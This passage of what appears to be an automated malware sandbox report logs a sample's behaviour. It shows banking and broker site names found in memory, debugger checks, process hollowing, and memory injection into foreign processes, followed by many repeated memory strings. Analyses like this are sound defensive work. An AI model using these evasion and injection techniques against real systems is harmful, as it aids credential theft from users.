          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B77B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B77B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: AMC password management pageVMware20,11696428655
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B77B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B77B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B77B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: interactivebrokers.comVMware20,11696428655
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B77B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B77B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: trackpan.utiitsl.comVMware20,11696428655h
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B77B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B720000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: trackpan.utiitsl.comVMware20,11696428655h
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B77B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: bankofamerica.comVMware20,11696428655x
          Source: C:\Windows\SysWOW64\brightness.exeAPI call chain: ExitProcess graph end nodegraph_8-25635
          Source: C:\Users\Public\Libraries\jphwmyiA.pifAPI call chain: ExitProcess graph end nodegraph_12-84078
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFAPI call chain: ExitProcess graph end node
          Source: C:\Users\Public\Libraries\jphwmyiA.pifAPI call chain: ExitProcess graph end node
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information queried: ProcessInformationJump to behavior

          Anti Debugging

          barindex
          Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_0284F024 GetModuleHandleW,GetProcAddress,CheckRemoteDebuggerPresent,8_2_0284F024
          Source: C:\Windows\SysWOW64\brightness.exeProcess queried: DebugPortJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFProcess queried: DebugPortJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFProcess queried: DebugPort
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1D7A28 LdrInitializeThunk,12_2_2A1D7A28
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,12_2_0040CE09
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,task_proc,Module32Next,CloseHandle,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,12_2_004019F0
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_02848798 LoadLibraryW,GetProcAddress,FreeLibrary,8_2_02848798
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_0040ADB0 GetProcessHeap,HeapFree,12_2_0040ADB0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess token adjusted: DebugJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,12_2_0040CE09
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,12_2_0040E61C
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,12_2_00416F6A
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_004123F1 SetUnhandledExceptionFilter,12_2_004123F1
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 16_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,16_2_0040CE09
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 16_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,16_2_0040E61C
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 16_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,16_2_00416F6A
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 16_2_004123F1 SetUnhandledExceptionFilter,16_2_004123F1
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 16_1_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,16_1_0040CE09
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 16_1_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,16_1_0040E61C
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 16_1_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,16_1_00416F6A
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 16_1_004123F1 SetUnhandledExceptionFilter,16_1_004123F1
          Source: C:\Users\Public\Libraries\jphwmyiA.pifMemory allocated: page read and write | page guardJump to behavior

          HIPS / PFW / Operating System Protection Evasion

          barindex
          Allocates memory in foreign processes
          Source: C:\Windows\SysWOW64\brightness.exeMemory allocated: C:\Users\Public\Libraries\jphwmyiA.pif base: 400000 protect: page execute and read and writeJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFMemory allocated: C:\Users\Public\Libraries\jphwmyiA.pif base: 400000 protect: page execute and read and writeJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFMemory allocated: C:\Users\Public\Libraries\jphwmyiA.pif base: 400000 protect: page execute and read and write
          Sample uses process hollowing technique
          Source: C:\Windows\SysWOW64\brightness.exeSection unmapped: C:\Users\Public\Libraries\jphwmyiA.pif base address: 400000Jump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection unmapped: C:\Users\Public\Libraries\jphwmyiA.pif base address: 400000Jump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection unmapped: C:\Users\Public\Libraries\jphwmyiA.pif base address: 400000
          Writes to foreign memory regions
          Source: C:\Windows\SysWOW64\brightness.exeMemory written: C:\Users\Public\Libraries\jphwmyiA.pif base: 223008Jump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFMemory written: C:\Users\Public\Libraries\jphwmyiA.pif base: 2B4008Jump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFMemory written: C:\Users\Public\Libraries\jphwmyiA.pif base: 2CA008
          Source: C:\Windows\SysWOW64\brightness.exeProcess created: C:\Users\Public\Libraries\jphwmyiA.pif C:\Users\Public\Libraries\jphwmyiA.pifJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFProcess created: C:\Users\Public\Libraries\jphwmyiA.pif C:\Users\Public\Libraries\jphwmyiA.pifJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFProcess created: C:\Users\Public\Libraries\jphwmyiA.pif C:\Users\Public\Libraries\jphwmyiA.pif
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q\(
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q\%
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qh>B&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q<h_
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q(\|*
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q\0
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q\-
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q8>P&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q$t5&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qx]}
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A4CD000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qdqS*
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qd.-&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qtDl&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q$*e*
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q\
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A4CD000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qxQY*
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q(@f
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q0i\&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qt[8&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q,!Z&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qTKw&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q\I
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q<pg&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qd6p
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q\1
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q8(e&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q41b*
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q\=
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qlK1&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q\;
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q\9
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q8yd*
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q`*y
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q Uc*
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q\b
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q\m
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q\W
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q,\n*
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q\U
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qp[F&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q\Q
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q\_
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qQr&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qXb5&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q\Z
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qx\t
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q|ap&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q0!L&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q4iN&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q4W`
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q|x<&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q(?]
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q\{
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qLE?&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q\z
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q4!>&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qX*
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qX'
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q8i@&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qX%
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qXBv*
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q(LX&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerpeM$LR]qX5P&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q,LJ&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qX@
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q`4&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q\*_
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qX>
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qXK
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q4\{
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qxxJ&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qX3
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qX2
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qX;
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qX6
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q 0{
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qXd
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qx_r
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qh[b&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qX_
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q@ra
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qbw*
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qXzb&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qD(;&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qlGo
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qHp=&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qhqM&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qXS
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qLsW&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q(Az
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qX\
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qXW
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qpPh
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qXV
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qdn3&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q@Va&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qXt
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A4CD000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q({Q*
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qXr
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q@su
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qlkx*
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q0L<&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qHfi*
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qX|
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qh#v*
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qHJ@&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q|]o
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q W&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qpEl
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q`dm*
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A4CD000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q<1S*
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q,&M&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qpUr&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qT@
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qT=
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qk_&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qTE
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q0&?&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qTB
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qH@l*
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q|sI&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q<-J&
          Source: jphwmyiA.pif, 0000000C.00000002.3456791683.000000002ACEE000.00000004.00000010.00020000.00000000.sdmpBinary or memory string: Program Managert
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qT,
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qT*
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qT7
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qT8
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qT4
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program Managerh
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qT]
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qL~_
